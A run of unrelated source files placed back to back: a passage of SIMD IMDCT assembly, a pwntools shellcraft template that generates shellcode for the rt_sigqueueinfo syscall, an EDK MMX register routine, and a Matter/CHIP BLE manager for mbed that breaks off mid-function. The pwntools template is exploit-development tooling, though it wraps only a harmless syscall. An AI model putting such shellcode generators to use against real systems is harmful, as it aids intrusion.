16*2] addps m4, m7, SPILLED(11) mulps m4, [costabs] subps m7, m2 mulps m7, [costabs + 16*7] addps m2, SPILLED(11) mulps m2, [costabs + 16*4] addps m1, m7, [tmpq+4*8] addps m1, m4 addps m4, m2 subps m4, [tmpq+4*8] SPILL 4, 11 subps m7, m2 subps m7, [tmpq+4*8] addps m4, m6, SPILLED(10) subps m6, SPILLED(10) addps m2, m5, m1 mulps m2, [costabs + 16*9] subps m5, m1 mulps m5, [costabs + 16*17] subps m1, m4, m2 addps m4, m2 mulps m2, m1, [winq+4*36] addps m2, [bufq+4*36] mova [outq+1152], m2 mulps m1, [winq+4*32] addps m1, [bufq+4*32] mova [outq+1024], m1 mulps m1, m4, [winq+4*116] mova [bufq+4*36], m1 mulps m4, [winq+4*112] mova [bufq+4*32], m4 addps m2, m6, m5 subps m6, m5 mulps m1, m6, [winq+4*68] addps m1, [bufq+4*68] mova [outq+2176], m1 mulps m6, [winq] addps m6, [bufq] mova [outq], m6 mulps m1, m2, [winq+4*148] mova [bufq+4*68], m1 mulps m2, [winq+4*80] mova [bufq], m2 addps m5, m3, [tmpq+4*24] mova m2, [tmpq+4*24] subps m2, m3 mova m1, SPILLED(9) subps m1, m0 mulps m1, [costabs + 16*10] addps m0, SPILLED(9) mulps m0, [costabs + 16*16] addps m6, m5, m1 subps m5, m1 mulps m3, m5, [winq+4*40] addps m3, [bufq+4*40] mova [outq+1280], m3 mulps m5, [winq+4*28] addps m5, [bufq+4*28] mova [outq+896], m5 mulps m1, m6, [winq+4*120] mova [bufq+4*40], m1 mulps m6, [winq+4*108] mova [bufq+4*28], m6 addps m1, m2, m0 subps m2, m0 mulps m5, m2, [winq+4*64] addps m5, [bufq+4*64] mova [outq+2048], m5 mulps m2, [winq+4*4] addps m2, [bufq+4*4] mova [outq+128], m2 mulps m0, m1, [winq+4*144] mova [bufq+4*64], m0 mulps m1, [winq+4*84] mova [bufq+4*4], m1 mova m1, [tmpq+4*28] mova m5, m1 addps m1, SPILLED(13) subps m5, SPILLED(13) UNSPILL 3, 15 addps m2, m7, m3 mulps m2, [costabs + 16*11] subps m3, m7 mulps m3, [costabs + 16*15] addps m0, m2, m1 subps m1, m2 SWAP m0, m2 mulps m6, m1, [winq+4*44] addps m6, [bufq+4*44] mova [outq+1408], m6 mulps m1, [winq+4*24] addps m1, [bufq+4*24] mova [outq+768], m1 mulps m0, m2, [winq+4*124] mova [bufq+4*44], m0 mulps m2, [winq+4*104] mova [bufq+4*24], m2 addps m0, m5, m3 subps m5, m3 mulps m1, m5, [winq+4*60] addps m1, [bufq+4*60] mova [outq+1920], m1 mulps m5, [winq+4*8] addps m5, [bufq+4*8] mova [outq+256], m5 mulps m1, m0, [winq+4*140] mova [bufq+4*60], m1 mulps m0, [winq+4*88] mova [bufq+4*8], m0 mova m1, [tmpq+4*20] addps m1, SPILLED(12) mova m2, [tmpq+4*20] subps m2, SPILLED(12) UNSPILL 7, 8 subps m0, m7, SPILLED(11) addps m7, SPILLED(11) mulps m4, m7, [costabs + 16*12] mulps m0, [costabs + 16*14] addps m5, m1, m4 subps m1, m4 mulps m7, m1, [winq+4*48] addps m7, [bufq+4*48] mova [outq+1536], m7 mulps m1, [winq+4*20] addps m1, [bufq+4*20] mova [outq+640], m1 mulps m1, m5, [winq+4*128] mova [bufq+4*48], m1 mulps m5, [winq+4*100] mova [bufq+4*20], m5 addps m6, m2, m0 subps m2, m0 mulps m1, m2, [winq+4*56] addps m1, [bufq+4*56] mova [outq+1792], m1 mulps m2, [winq+4*12] addps m2, [bufq+4*12] mova [outq+384], m2 mulps m0, m6, [winq+4*136] mova [bufq+4*56], m0 mulps m6, [winq+4*92] mova [bufq+4*12], m6 UNSPILL 0, 14 mulps m0, [costabs + 16*13] mova m3, [tmpq+4*4] addps m2, m0, m3 subps m3, m0 mulps m0, m3, [winq+4*52] addps m0, [bufq+4*52] mova [outq+1664], m0 mulps m3, [winq+4*16] addps m3, [bufq+4*16] mova [outq+512], m3 mulps m0, m2, [winq+4*132] mova [bufq+4*52], m0 mulps m2, [winq+4*96] mova [bufq+4*16], m2 RET %endmacro INIT_XMM sse DEFINE_FOUR_IMDCT %if HAVE_AVX INIT_XMM avx DEFINE_FOUR_IMDCT %endif
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft %> <%docstring>sigqueueinfo(tgid, sig, uinfo) -> str Invokes the syscall sigqueueinfo. See 'man 2 sigqueueinfo' for more information. Arguments: tgid(pid_t): tgid sig(int): sig uinfo(siginfo_t*): uinfo Returns: int </%docstring> <%page args="tgid=0, sig=0, uinfo=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['tgid', 'sig', 'uinfo'] argument_values = [tgid, sig, uinfo] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%r' % (name, arg)) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, str): string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_rt_sigqueueinfo']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* sigqueueinfo(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
; Copyright (c) 2004, Intel Corporation ; All rights reserved. This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteMm3.Asm ; ; Abstract: ; ; AsmWriteMm3 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; AsmWriteMm3 ( ; IN UINT64 Value ; ); ;------------------------------------------------------------------------------ AsmWriteMm3 PROC ; ; 64-bit MASM doesn't support MMX instructions, so use opcode here ; DB 48h, 0fh, 6eh, 0d9h ret AsmWriteMm3 ENDP END
/* * * Copyright (c) 2020-2021 Project CHIP Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * Provides an implementation of the BLEManager singleton object * for mbed platforms. */ #include <inttypes.h> #include <stdint.h> #include <platform/internal/CHIPDeviceLayerInternal.h> #if CHIP_DEVICE_CONFIG_ENABLE_CHIPOBLE #include <platform/mbed/BLEManagerImpl.h> #include <ble/CHIPBleServiceData.h> #include <platform/internal/BLEManager.h> #include <support/CodeUtils.h> #include <support/logging/CHIPLogging.h> // Show BLE status with LEDs #define _BLEMGRIMPL_USE_LEDS 0 /* Undefine the BLE_ERROR_NOT_IMPLEMENTED macro provided by CHIP's * src/ble/BleError.h to avoid a name conflict with Mbed-OS ble_error_t * enum value. For the enum values, see: * mbed-os/connectivity/FEATURE_BLE/include/ble/common/blecommon.h */ #undef BLE_ERROR_NOT_IMPLEMENTED // mbed-os headers #include "ble/BLE.h" #include "ble/Gap.h" #include "platform/Callback.h" #include "platform/NonCopyable.h" #include "platform/Span.h" #if _BLEMGRIMPL_USE_LEDS #include "drivers/DigitalOut.h" #endif using namespace ::chip; using namespace ::chip::Ble; using namespace ::chip::System; namespace chip { namespace DeviceLayer { namespace Internal { namespace { const UUID ShortUUID_CHIPoBLEService(0xFFF6); // RX = BleLayer::CHIP_BLE_CHAR_1_ID const UUID LongUUID_CHIPoBLEChar_RX("18EE2EF5-263D-4559-959F-4F9C429F9D11"); const ChipBleUUID ChipUUID_CHIPoBLEChar_RX = { { 0x18, 0xEE, 0x2E, 0xF5, 0x26, 0x3D, 0x45, 0x59, 0x95, 0x9F, 0x4F, 0x9C, 0x42, 0x9F, 0x9D, 0x11 } }; // TX = BleLayer::CHIP_BLE_CHAR_2_ID const UUID LongUUID_CHIPoBLEChar_TX("18EE2EF5-263D-4559-959F-4F9C429F9D12"); const ChipBleUUID ChipUUID_CHIPoBLEChar_TX = { { 0x18, 0xEE, 0x2E, 0xF5, 0x26, 0x3D, 0x45, 0x59, 0x95, 0x9F, 0x4F, 0x9C, 0x42, 0x9F, 0x9D, 0x12 } }; } // namespace #if _BLEMGRIMPL_USE_LEDS #include "drivers/DigitalOut.h" // LED1 -- toggle on every call to ble::BLE::processEvents() // LED2 -- on when ble::BLE::init() callback completes // LED3 -- on when advertising mbed::DigitalOut led1(LED1, 1); mbed::DigitalOut led2(LED2, 1); mbed::DigitalOut led3(LED3, 1); #endif class ConnectionInfo { public: struct ConnStatus { ble::connection_handle_t connHandle; uint16_t attMtuSize; }; ConnectionInfo() { for (size_t i = 0; i < kMaxConnections; i++) { mConnStates[i].connHandle = kInvalidHandle; mConnStates[i].attMtuSize = 0; } } CHIP_ERROR setStatus(ble::connection_handle_t conn_handle, uint16_t mtu_size) { size_t new_i = kMaxConnections; for (size_t i = 0; i < kMaxConnections; i++) { if (mConnStates[i].connHandle == conn_handle) { mConnStates[i].attMtuSize = mtu_size; return CHIP_NO_ERROR; } else if (mConnStates[i].connHandle == kInvalidHandle && i < new_i) { new_i = i; } } // Handle not found, has to be added. if (new_i == kMaxConnections) { return CHIP_ERROR_NO_MEMORY; } mConnStates[new_i].connHandle = conn_handle; mConnStates[new_i].attMtuSize = mtu_size; return CHIP_NO_ERROR; } CHIP_ERROR clearStatus(ble::connection_handle_t conn_handle) { for (size_t i = 0; i < kMaxConnections; i++) { if (mConnStates[i].connHandle == conn_handle) { mConnStates[i].connHandle = kInvalidHandle; mConnStates[i].attMtuSize = 0; return CHIP_NO_ERROR; } } return CHIP_ERROR_INVALID_ARGUMENT; } ConnStatus getStatus(ble::connection_handle_t conn_handle) const { for (size_t i = 0; i < kMaxConnections; i++) { if (mConnStates[i].connHandle == conn_handle) { return mConnStates[i]; } } return { kInvalidHandle, 0 }; } uint16_t getMTU(ble::connection_handle_t conn_handle) const { return getStatus(conn_handle).attMtuSize; } private: const size_t kMaxConnections = BLE_LAYER_NUM_BLE_ENDPOINTS; ConnStatus mConnStates[BLE_LAYER_NUM_BLE_ENDPOINTS]; const ble::connection_handle_t kInvalidHandle = 0xf00d; }; static ConnectionInfo sConnectionInfo; #pragma GCC diagnostic ignored "-Wnon-virtual-dtor" class GapEventHandler : private mbed::NonCopyable<GapEventHandler>, public ble::Gap::EventHandler { void onScanRequestReceived(const ble::ScanRequestEvent & event) { // Requires enable action from setScanRequestNotification(true). ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } /* Called when advertising starts. */ void onAdvertisingStart(const ble::AdvertisingStartEvent & event) { #if _BLEMGRIMPL_USE_LEDS led3 = 0; #endif ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); BLEManagerImpl & ble_manager = BLEMgrImpl(); ble_manager.mFlags.Set(ble_manager.kFlag_Advertising); ble_manager.mFlags.Clear(ble_manager.kFlag_AdvertisingRefreshNeeded); // Post a CHIPoBLEAdvertisingChange(Started) event. ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLEAdvertisingChange; chip_event.CHIPoBLEAdvertisingChange.Result = kActivity_Started; PlatformMgrImpl().PostEvent(&chip_event); PlatformMgr().ScheduleWork(ble_manager.DriveBLEState, 0); } /* Called when advertising ends. * * Advertising ends when the process timeout or if it is stopped by the * application or if the local device accepts a connection request. */ void onAdvertisingEnd(const ble::AdvertisingEndEvent & event) { #if _BLEMGRIMPL_USE_LEDS led3 = 1; #endif ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); BLEManagerImpl & ble_manager = BLEMgrImpl(); ble_manager.mFlags.Set(ble_manager.kFlag_Advertising); // Post a CHIPoBLEAdvertisingChange(Stopped) event. ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLEAdvertisingChange; chip_event.CHIPoBLEAdvertisingChange.Result = kActivity_Stopped; PlatformMgrImpl().PostEvent(&chip_event); if (event.isConnected()) { ble_manager.mFlags.Set(ble_manager.kFlag_AdvertisingRefreshNeeded); ChipLogDetail(DeviceLayer, "Restarting advertising to allow more connections."); } PlatformMgr().ScheduleWork(ble_manager.DriveBLEState, 0); } /* Called when connection attempt ends or an advertising device has been * connected. */ void onConnectionComplete(const ble::ConnectionCompleteEvent & event) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); ble_error_t mbed_err = event.getStatus(); BLEManagerImpl & ble_manager = BLEMgrImpl(); if (mbed_err == BLE_ERROR_NONE) { const ble::address_t & peer_addr = event.getPeerAddress(); ChipLogProgress(DeviceLayer, "BLE connection established with %02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX", peer_addr[5], peer_addr[4], peer_addr[3], peer_addr[2], peer_addr[1], peer_addr[0]); ble_manager.mGAPConns++; CHIP_ERROR err = sConnectionInfo.setStatus(event.getConnectionHandle(), BLE_GATT_MTU_SIZE_DEFAULT); if (err != CHIP_NO_ERROR) { ChipLogError(DeviceLayer, "Unable to store connection status, error: %s ", ErrorStr(err)); } } else { ChipLogError(DeviceLayer, "BLE connection failed, mbed-os error: %d", mbed_err); } ChipLogProgress(DeviceLayer, "Current number of connections: %" PRIu16 "/%d", ble_manager.NumConnections(), ble_manager.kMaxConnections); // The connection established event is propagated when the client has subscribed to // the TX characteristic. } void onUpdateConnectionParametersRequest(const ble::UpdateConnectionParametersRequestEvent & event) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } void onConnectionParametersUpdateComplete(const ble::ConnectionParametersUpdateCompleteEvent & event) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } void onReadPhy(ble_error_t status, ble::connection_handle_t connectionHandle, ble::phy_t txPhy, ble::phy_t rxPhy) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } void onPhyUpdateComplete(ble_error_t status, ble::connection_handle_t connectionHandle, ble::phy_t txPhy, ble::phy_t rxPhy) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } /* Called when a connection has been disconnected. */ void onDisconnectionComplete(const ble::DisconnectionCompleteEvent & event) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); const ble::disconnection_reason_t & reason = event.getReason(); BLEManagerImpl & ble_manager = BLEMgrImpl(); if (ble_manager.NumConnections()) { ble_manager.mGAPConns--; } CHIP_ERROR err = sConnectionInfo.clearStatus(event.getConnectionHandle()); if (err != CHIP_NO_ERROR) { ChipLogError(DeviceLayer, "Unable to clear connection status, error: %s ", ErrorStr(err)); } ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLEConnectionError; chip_event.CHIPoBLEConnectionError.ConId = event.getConnectionHandle(); switch (reason.value()) { case ble::disconnection_reason_t::REMOTE_USER_TERMINATED_CONNECTION: chip_event.CHIPoBLEConnectionError.Reason = BLE_ERROR_REMOTE_DEVICE_DISCONNECTED; break; case ble::disconnection_reason_t::LOCAL_HOST_TERMINATED_CONNECTION: chip_event.CHIPoBLEConnectionError.Reason = BLE_ERROR_APP_CLOSED_CONNECTION; break; default: chip_event.CHIPoBLEConnectionError.Reason = BLE_ERROR_CHIPOBLE_PROTOCOL_ABORT; break; } PlatformMgrImpl().PostEvent(&chip_event); ChipLogProgress(DeviceLayer, "BLE connection terminated, mbed-os reason: %d", reason.value()); ChipLogProgress(DeviceLayer, "Current number of connections: %" PRIu16 "/%d", ble_manager.NumConnections(), ble_manager.kMaxConnections); // Force a reconfiguration of advertising in case we switched to non-connectable mode when // the BLE connection was established. ble_manager.mFlags.Set(ble_manager.kFlag_AdvertisingRefreshNeeded); PlatformMgr().ScheduleWork(ble_manager.DriveBLEState, 0); } void onDataLengthChange(ble::connection_handle_t connectionHandle, uint16_t txSize, uint16_t rxSize) { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } void onPrivacyEnabled() { ChipLogDetail(DeviceLayer, "GAP %s", __FUNCTION__); } }; #pragma GCC diagnostic ignored "-Wnon-virtual-dtor" struct CHIPService : public ble::GattServer::EventHandler { CHIPService() {} CHIPService(const CHIPService &) = delete; CHIPService & operator=(const CHIPService &) = delete; CHIP_ERROR init(ble::BLE & ble_interface) { ChipLogDetail(DeviceLayer, "GATT %s", __FUNCTION__); if (mCHIPoBLEChar_RX != nullptr || mCHIPoBLEChar_TX != nullptr) { return CHIP_NO_ERROR; } mCHIPoBLEChar_RX = new GattCharacteristic(LongUUID_CHIPoBLEChar_RX, nullptr, 0, BLE_GATT_MTU_SIZE_DEFAULT, GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_WRITE | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_WRITE_WITHOUT_RESPONSE); mCHIPoBLEChar_TX = new GattCharacteristic(LongUUID_CHIPoBLEChar_TX, nullptr, 0, BLE_GATT_MTU_SIZE_DEFAULT, GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_NOTIFY); // Setup callback mCHIPoBLEChar_RX->setWriteAuthorizationCallback(this, &CHIPService::onWriteAuth); GattCharacteristic * chipoble_gatt_characteristics[] = { mCHIPoBLEChar_RX, mCHIPoBLEChar_TX }; auto num_characteristics = sizeof chipoble_gatt_characteristics / sizeof chipoble_gatt_characteristics[0]; GattService chipoble_gatt_service(ShortUUID_CHIPoBLEService, chipoble_gatt_characteristics, num_characteristics); auto mbed_err = ble_interface.gattServer().addService(chipoble_gatt_service); if (mbed_err != BLE_ERROR_NONE) { ChipLogError(DeviceLayer, "Unable to add GATT service, mbed-os err: %d", mbed_err); return CHIP_ERROR_INTERNAL; } // Store the attribute handles in the class so they are reused in // callbacks to discriminate events. mRxHandle = mCHIPoBLEChar_RX->getValueHandle(); mTxHandle = mCHIPoBLEChar_TX->getValueHandle(); // There is a single descriptor in the characteristic, CCCD is at index 0 mTxCCCDHandle = mCHIPoBLEChar_TX->getDescriptor(0)->getHandle(); ChipLogDetail(DeviceLayer, "char handles: rx=%d, tx=%d, cccd=%d", mRxHandle, mTxHandle, mTxCCCDHandle); ble_interface.gattServer().setEventHandler(this); return CHIP_NO_ERROR; } // Write authorization callback void onWriteAuth(GattWriteAuthCallbackParams * params) { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params->connHandle, params->handle); if (params->handle == mRxHandle) { ChipLogDetail(DeviceLayer, "Received BLE packet on RX"); // Allocate a buffer, copy the data. They will be passed into the event auto buf = System::PacketBufferHandle::NewWithData(params->data, params->len); if (buf.IsNull()) { params->authorizationReply = AUTH_CALLBACK_REPLY_ATTERR_WRITE_REQUEST_REJECTED; ChipLogError(DeviceLayer, "Dropping packet, not enough memory"); return; } params->authorizationReply = AUTH_CALLBACK_REPLY_SUCCESS; ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLEWriteReceived; chip_event.CHIPoBLEWriteReceived.ConId = params->connHandle; chip_event.CHIPoBLEWriteReceived.Data = std::move(buf).UnsafeRelease(); PlatformMgrImpl().PostEvent(&chip_event); } else { params->authorizationReply = AUTH_CALLBACK_REPLY_ATTERR_INVALID_HANDLE; } } // overrides of GattServerEvent Handler void onAttMtuChange(ble::connection_handle_t connectionHandle, uint16_t attMtuSize) override { ChipLogDetail(DeviceLayer, "GATT %s", __FUNCTION__); CHIP_ERROR err = sConnectionInfo.setStatus(connectionHandle, attMtuSize); if (err != CHIP_NO_ERROR) { ChipLogError(DeviceLayer, "Unable to store connection status, error: %s ", ErrorStr(err)); } } void onDataSent(const GattDataSentCallbackParams & params) override { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params.connHandle, params.attHandle); // FIXME: ACK hack #if (defined(MBED_CONF_APP_USE_GATT_INDICATION_ACK_HACK) && (MBED_CONF_APP_USE_GATT_INDICATION_ACK_HACK != 0)) onConfirmationReceived(params); #endif } void onDataWritten(const GattWriteCallbackParams & params) override { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params.connHandle, params.handle); } void onDataRead(const GattReadCallbackParams & params) override { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params.connHandle, params.handle); } void onShutdown(const ble::GattServer & server) override { ChipLogDetail(DeviceLayer, "GATT %s", __FUNCTION__); } void onUpdatesEnabled(const GattUpdatesEnabledCallbackParams & params) override { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params.connHandle, params.attHandle); if (params.attHandle == mTxCCCDHandle) { ChipLogDetail(DeviceLayer, "Updates enabled on TX CCCD"); ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLESubscribe; chip_event.CHIPoBLESubscribe.ConId = params.connHandle; PlatformMgrImpl().PostEvent(&chip_event); } } void onUpdatesDisabled(const GattUpdatesDisabledCallbackParams & params) override { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params.connHandle, params.attHandle); if (params.attHandle == mTxCCCDHandle) { ChipLogDetail(DeviceLayer, "Updates disabled on TX CCCD"); ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLEUnsubscribe; chip_event.CHIPoBLEUnsubscribe.ConId = params.connHandle; PlatformMgrImpl().PostEvent(&chip_event); } } void onConfirmationReceived(const GattConfirmationReceivedCallbackParams & params) override { ChipLogDetail(DeviceLayer, "GATT %s, connHandle=%d, attHandle=%d", __FUNCTION__, params.connHandle, params.attHandle); if (params.attHandle == mTxHandle) { ChipLogDetail(DeviceLayer, "Confirmation received for TX transfer"); ChipDeviceEvent chip_event; chip_event.Type = DeviceEventType::kCHIPoBLEIndicateConfirm; chip_event.CHIPoBLEIndicateConfirm.ConId = params.connHandle; PlatformMgrImpl().PostEvent(&chip_event); } } ble::attribute_handle_t getTxHandle() const { return mTxHandle; } ble::attribute_handle_t getTxCCCDHandle() const { return mTxCCCDHandle; } ble::attribute_handle_t getRxHandle() const { return mRxHandle; } GattCharacteristic * mCHIPoBLEChar_RX = nullptr; GattCharacteristic * mCHIPoBLEChar_TX = nullptr; ble::attribute_handle_t mRxHandle = 0; ble::attribute_handle_t mTxCCCDHandle = 0; ble::attribute_handle_t mTxHandle = 0; }; #pragma GCC diagnostic ignored "-Wnon-virtual-dtor" class SecurityManagerEventHandler : private mbed::NonCopyable<SecurityManagerEventHandler>, public ble::SecurityManager::EventHandler { void pairingRequest(ble::connection_handle_t connectionHandle) override { ChipLogDetail(DeviceLayer, "SM %s, connHandle=%d", __FUNCTION__, connectionHandle); ble::SecurityManager & security_mgr = ble::BLE::Instance().securityManager(); auto mbed_err = security_mgr.acceptPairingRequest(connectionHandle); if (mbed_err == BLE_ERROR_NONE) { ChipLogProgress(DeviceLayer, "Pairing request authorized."); } else { ChipLogError(DeviceLayer, "Pairing request not authorized, mbed-os err: %d", mbed_err); } } void pairingResult(ble::connection_handle_t connectionHandle, SecurityManager::SecurityCompletionStatus_t result) override { ChipLogDetail(DeviceLayer, "SM %s, connHandle=%d", __FUNCTION__, connectionHandle); if (result == SecurityManager::SEC_STATUS_SUCCESS) { ChipLogProgress(DeviceLayer, "Pairing successful."); } else { ChipLogError(DeviceLayer, "Pairing failed, status: 0x%X.", result); } } void linkEncryptionResult(ble::connection_handle_t connectionHandle, ble::link_encryption_t result) override { ChipLogDetail(DeviceLayer, "SM %s, connHandle=%d", __FUNCTION__, connectionHandle); if (result == ble::link_encryption_t::NOT_ENCRYPTED) { ChipLogDetail(DeviceLayer, "Link NOT_ENCRYPTED."); } else if (result == ble::link_encryption_t::ENCRYPTION_IN_PROGRESS) { ChipLogDetail(DeviceLayer, "Link ENCRYPTION_IN_PROGRESS."); } else if (result == ble::link_encryption_t::ENCRYPTED) { ChipLogDetail(DeviceLayer, "Link ENCRYPTED."); } else if (result == ble::link_encryption_t::ENCRYPTED_WITH_MITM) { ChipLogDetail(DeviceLayer, "Link ENCRYPTED_WITH_MITM."); } else if (result == ble::link_encryption_t::ENCRYPTED_WITH_SC_AND_MITM) { ChipLogDetail(DeviceLayer, "Link ENCRYPTED_WITH_SC_AND_MITM."); } else { ChipLogDetail(DeviceLayer, "Link encryption status UNKNOWN."); } } }; BLEManagerImpl BLEManagerImpl::sInstance; static GapEventHandler sMbedGapEventHandler; static CHIPService sCHIPService; static SecurityManagerEventHandler sSecurityManagerEventHandler; /* Initialize the mbed-os BLE subsystem. Register the BLE event processing * callback to the system event queue. Register the BLE initialization complete * callback that handles the rest of the setup commands. Register the BLE GAP * event handler. */ CHIP_ERROR BLEManagerImpl::_Init() { CHIP_ERROR err = CHIP_NO_ERROR; ble_error_t mbed_err = BLE_ERROR_NONE; mServiceMode = ConnectivityManager::kCHIPoBLEServiceMode_Enabled; mFlags = BitFlags<Flags>(CHIP_DEVICE_CONFIG_CHIPOBLE_ENABLE_ADVERTISING_AUTOSTART ? kFlag_AdvertisingEnabled : 0); mGAPConns = 0; ble::BLE & ble_interface = ble::BLE::Instance(); ble_interface.gap().setEventHandler(&sMbedGapEventHandler); err = sCHIPService.init(ble_interface); SuccessOrExit(err); ble_interface.onEventsToProcess(FunctionPointerWithContext<ble::BLE::OnEventsToProcessCallbackContext *>{ [](ble::BLE::OnEventsToProcessCallbackContext * context) { PlatformMgr().ScheduleWork(DoBLEProcessing, 0); } }); mbed_err = ble_interface.init([](ble::BLE::InitializationCompleteCallbackContext * context) { BLEMgrImpl().HandleInitComplete(context->error == BLE_ERROR_NONE); }); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); exit: return err; } /* Process all the events from the mbed-os BLE subsystem. */ void BLEManagerImpl::DoBLEProcessing(intptr_t arg) { #if _BLEMGRIMPL_USE_LEDS led1 = !led1; #endif ble::BLE::Instance().processEvents(); } /* This is the mbed-os BLE subsystem init complete callback. Initialize the * BLELayer and update the state based on the flags. */ void BLEManagerImpl::HandleInitComplete(bool no_error) { CHIP_ERROR err = CHIP_NO_ERROR; ble_error_t mbed_err = BLE_ERROR_NONE; ble::Gap & gap = ble::BLE::Instance().gap(); ble::SecurityManager & security_mgr = ble::BLE::Instance().securityManager(); ble::own_address_type_t addr_type; ble::address_t addr; VerifyOrExit(no_error, err = CHIP_ERROR_INTERNAL); gap.getAddress(addr_type, addr); ChipLogDetail(DeviceLayer, "Device address: %02X:%02X:%02X:%02X:%02X:%02X", addr[5], addr[4], addr[3], addr[2], addr[1], addr[0]); mbed_err = security_mgr.init( /*bool enableBonding */ false, /*bool requireMITM */ true, /*SecurityIOCapabilities_t iocaps*/ SecurityManager::IO_CAPS_NONE, /*const Passkey_t passkey */ nullptr, /*bool signing */ true, /*const char *dbFilepath */ nullptr); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); mbed_err = security_mgr.setPairingRequestAuthorisation(true); VerifyOrExit(mbed_err == BLE_ERROR_NONE, err = CHIP_ERROR_INTERNAL); security_mgr.setSecurityManagerEventHandler(&sSecurityManagerEventHandler); err = BleLayer::Init(this, this, &SystemLayer); SuccessOrExit(err); PlatformMgr().ScheduleWork(DriveBLEState, 0); #if _BLEMGRIMPL_USE_LEDS led2 = 0; #endif exit: if (err != CHIP_NO_ERROR) { ChipLogError(DeviceLayer, "BLEManager init error: %s ", ErrorStr(err)); ChipLogError(DeviceLayer, "Disabling CHIPoBLE service."); mServiceMode = ConnectivityManager::kCHIPoBLEServiceMode_Disabled; PlatformMgr().ScheduleWork(DriveBLEState, 0); } } void BLEManagerImpl::DriveBLEState(intptr_t arg) { BLEMgrImpl().DriveBLEState(); } /* Update the advertising state based on the flags. */ void BLEManagerImpl::DriveBLEState() { CHIP_ERROR err = CHIP_NO_ERROR; // Perform any initialization actions that must occur after the CHIP task is running. if (!mFlags.Has(kFlag_AsyncInitCompleted)) { mFlags.Set(kFlag_AsyncInitCompleted); // If CHIP_DEVICE_CONFIG_CHIPOBLE_DISABLE_ADVERTISING_WHEN_PROVISIONED is enabled, // disable CHIPoBLE advertising if the 